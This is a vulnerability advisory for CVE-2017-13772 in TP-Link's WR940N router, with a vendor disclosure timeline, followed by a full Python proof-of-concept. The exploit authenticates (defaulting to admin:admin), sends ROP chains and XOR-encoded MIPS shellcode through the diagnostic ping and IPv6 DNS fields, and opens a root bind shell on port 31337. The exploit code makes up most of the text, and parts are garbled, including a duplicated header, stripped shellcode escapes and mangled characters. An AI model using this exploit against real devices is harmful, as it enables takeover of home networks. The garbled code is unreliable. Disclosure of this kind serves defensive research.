** Advisory Information

Title: TP-Link Remote Code Execution
Blog URL: https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/
Vendor: TP-Link
Date ** Advisory Information

Title: TP-Link Remote Code Execution
Blog URL: https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/
Vendor: TP-Link
Date Published: 19/10/2017
CVE: CVE-2017-13772


** Vulnerability Summary

Numerous remote code execution paths were discovered in TP-Link's
WR940N home WiFi router. Valid credentials are required for this
attack path. It is possible for an authenticated attacker to obtain a
remote shell with root privileges.


** Details

There were multiple occurrences of strcpy being used in an unsafe
manner, resulting in a trivial buffer overflow condition. It is also
possible to cause a Denial of Service on the web service.

Using the aDiagnostica page, an attacker could utilise the built in
apinga feature of the router to cause either; a Denial of Service
attack to crash the web server or exploit a buffer overflow condition
to obtain a remote root shell.


** Vendor Response

TP-Link have released a new version of the firmware thus mitigating
exploitation of this issue.


** Report Timeline

* Disclosed to vendor a 11/8/2017
* Response from vendor, request for initial advisory a 14/8/2017
* Initial advisory sent a 14/8/2017
* Beta patch sent for testing by vendor a 17/8/2017
* Patch confirmed to work, however other vulnerable locations were
identified, a second exploit was written to demonstrate this. Sent to
vendor a 17/8/2017
* Response by vendor, will look into the other vulnerable locations a 18/8/2017
* Second patch sent for testing by vendor a 25/8/17
* Patch confirmed to mitigate vulnerabilities (500+ calls to strcpy
removed) a 29/8/2017
* Patch released a 28/9/2017 (Only HW V5 US)

** Credit

This vulnerability was discovered by Tim Carrington, part of the Fidus
Information Security research team.


** References

https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/


** Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/


Proof of concept:

import urllib2
import base64
import hashlib
from optparse import *
import sys
import urllibbanner = (
"___________________________________________________________________________ "
"WR940N Authenticated Remote Code Exploit "
"This exploit will open a bind shell on the remote target "
"The port is 31337, you can change that in the code if you wish "
"This exploit requires authentication, if you know the creds, then "
"use the -u -p options, otherwise default is admin:admin "
"___________________________________________________________________________"
)

def login(ip, user, pwd):
print "[+] Attempting to login to http://%s %s:%s"%(ip,user,pwd)

#### Generate the auth cookie of the form b64enc('admin:' + md5('admin'))
hash = hashlib.md5()
hash.update(pwd)
auth_string = "%s:%s" %(user, hash.hexdigest())
encoded_string = base64.b64encode(auth_string)
print "[+] Encoded authorisation: %s" %encoded_string

#### Send the request
url = "http://" + ip + "/userRpm/LoginRpm.htm?Save=Save"
print "[+] sending login to " + url
req = urllib2.Request(url)
req.add_header('Cookie', 'Authorization=Basic %s' %encoded_string)
resp = urllib2.urlopen(req)

#### The server generates a random path for further requests, grab that here
data = resp.read()
next_url = "http://%s/%s/userRpm/" %(ip, data.split("/")[3])
print "[+] Got random path for next stage, url is now %s" %next_url

return (next_url, encoded_string)

#custom bind shell shellcode with very simple xor encoder
#followed by a sleep syscall to flush cash before running
#bad chars = 0x20, 0x00
shellcode = (
#encoder
"x22x51x44x44x3cx11x99x99x36x31x99x99"
"x27xb2x05x4b" #0x27b2059f for first_exploit
"x22x52xfcxa0x8ex4axfexf9"
"x02x2ax18x26xaex43xfexf9x8ex4axffx41"
"x02x2ax18x26xaex43xffx41x8ex4axffx5d"
"x02x2ax18x26xaex43xffx5dx8ex4axffx71"
"x02x2ax18x26xaex43xffx71x8ex4axffx8d"
"x02x2ax18x26xaex43xffx8dx8ex4axffx99"
"x02x2ax18x26xaex43xffx99x8ex4axffxa5"
"x02x2ax18x26xaex43xffxa5x8ex4axffxad"
"x02x2ax18x26xaex43xffxadx8ex4axffxb9"
"x02x2ax18x26xaex43xffxb9x8ex4axffxc1"
"x02x2ax18x26xaex43xffxc1"

#sleep
"x24x12xffxffx24x02x10x46x24x0fx03x08"
"x21xefxfcxfcxafxafxfbxfexafxafxfbxfa"
"x27xa4xfbxfax01x01x01x0cx21x8cx11x5c"

################ encoded shellcode ###############
"x27xbdxffxe0x24x0exffxfdx98x59xb9xbex01xc0x28x27x28x06"
"xffxffx24x02x10x57x01x01x01x0cx23x39x44x44x30x50xffxff"
"x24x0exffxefx01xc0x70x27x24x0d"
"x7ax69" #<aaaaaaaa- PORT 0x7a69 (31337)
"x24x0fxfdxffx01xe0x78x27x01xcfx78x04x01xafx68x25xafxad"
"xffxe0xafxa0xffxe4xafxa0xffxe8xafxa0xffxecx9bx89xb9xbc"
"x24x0exffxefx01xc0x30x27x23xa5xffxe0x24x02x10x49x01x01"
"x01x0cx24x0fx73x50"
"x9bx89xb9xbcx24x05x01x01x24x02x10x4ex01x01x01x0cx24x0f"
"x73x50x9bx89xb9xbcx28x05xffxffx28x06xffxffx24x02x10x48"
"x01x01x01x0cx24x0fx73x50x30x50xffxffx9bx89xb9xbcx24x0f"
"xffxfdx01xe0x28x27xbdx9bx96x46x01x01x01x0cx24x0fx73x50"
"x9bx89xb9xbcx28x05x01x01xbdx9bx96x46x01x01x01x0cx24x0f"
"x73x50x9bx89xb9xbcx28x05xffxffxbdx9bx96x46x01x01x01x0c"
"x3cx0fx2fx2fx35xefx62x69xafxafxffxecx3cx0ex6ex2fx35xce"
"x73x68xafxaexffxf0xafxa0xffxf4x27xa4xffxecxafxa4xffxf8"
"xafxa0xffxfcx27xa5xffxf8x24x02x0fxabx01x01x01x0cx24x02"
"x10x46x24x0fx03x68x21xefxfcxfcxafxafxfbxfexafxafxfbxfa"
"x27xa4xfbxfex01x01x01x0cx21x8cx11x5c"
)

###### useful gadgets #######
nop = "x22x51x44x44"
gadg_1 = "x2AxB3x7Cx60"
gadg_2 = "x2AxB1x78x40"
sleep_addr = "x2axb3x50x90"
stack_gadg = "x2AxAFx84xC0"
call_code = "x2AxB2xDCxF0"

def first_exploit(url, auth):
# trash $s1 $ra
rop = "A"*164 + gadg_2 + gadg_1 + "B"*0x20 + sleep_addr + "C"*4
rop += "C"*0x1c + call_code + "D"*4 + stack_gadg + nop*0x20 + shellcode

params = {'ping_addr': rop, 'doType': 'ping', 'isNew': 'new', 'sendNum': '20', 'pSize': '64', 'overTime': '800', 'trHops': '20'}

new_url = url + "PingIframeRpm.htm?" + urllib.urlencode(params)

print "[+] sending exploit..."
print "[+] Wait a couple of seconds before connecting"
print "[+] When you are finished do http -r to reset the http service"

req = urllib2.Request(new_url)
req.add_header('Cookie', 'Authorization=Basic %s' %auth)
req.add_header('Referer', url + "DiagnosticRpm.htm")

resp = urllib2.urlopen(req)

def second_exploit(url, auth):
url = url + "WanStaticIpV6CfgRpm.htm?"
# trash s0 s1 s2 s3 s4 ret shellcode
payload = "A"*111 + "B"*4 + gadg_2 + "D"*4 + "E"*4 + "F"*4 + gadg_1 + "a"*0x1c
payload += "A"*4 + sleep_addr + "C"*0x20 + call_code + "E"*4
payload += stack_gadg + "A"*4 + nop*10 + shellcode + "B"*7
print len(payload)

params = {'ipv6Enable': 'on', 'wantype': '2', 'ipType': '2', 'mtu': '1480', 'dnsType': '1',
'dnsserver2': payload, 'ipAssignType': '0', 'ipStart': '1000',
'ipEnd': '2000', 'time': '86400', 'ipPrefixType': '0', 'staticPrefix': 'AAAA',
'staticPrefixLength': '64', 'Save': 'Save', 'RenewIp': '1'}

new_url = url + urllib.urlencode(params)

print "[+] sending exploita|"
print "[+] Wait a couple of seconds before connecting"
print "[+] When you are finished do http -r to reset the http service"

req = urllib2.Request(new_url)
req.add_header('Cookie', 'Authorization=Basic %s' %auth)
req.add_header('Referer', url + "WanStaticIpV6CfgRpm.htm")

resp = urllib2.urlopen(req)

if __name__ == '__main__':
print banner
username = "admin"
password = "admin"

parser = OptionParser()
parser.add_option("-t", "atarget", dest="host",
help="target ip address")

parser.add_option("-u", "auser", dest="username",
help="username for authentication",
default="admin")

parser.add_option("-p", "apassword", dest="password",
help="password for authentication",
default="admin")

(options, args) = parser.parse_args()

if options.host is None:
parser.error("[x] A host name is required at the minimum [x]")

if options.username is not None:
username = options.username
if options.password is not None:
password = options.password

(next_url, encoded_string) = login(options.host, username, password)

###### Both exploits result in the same bind shell ######
#first_exploit(data[0], data[1])
second_exploit(next_url, encoded_string).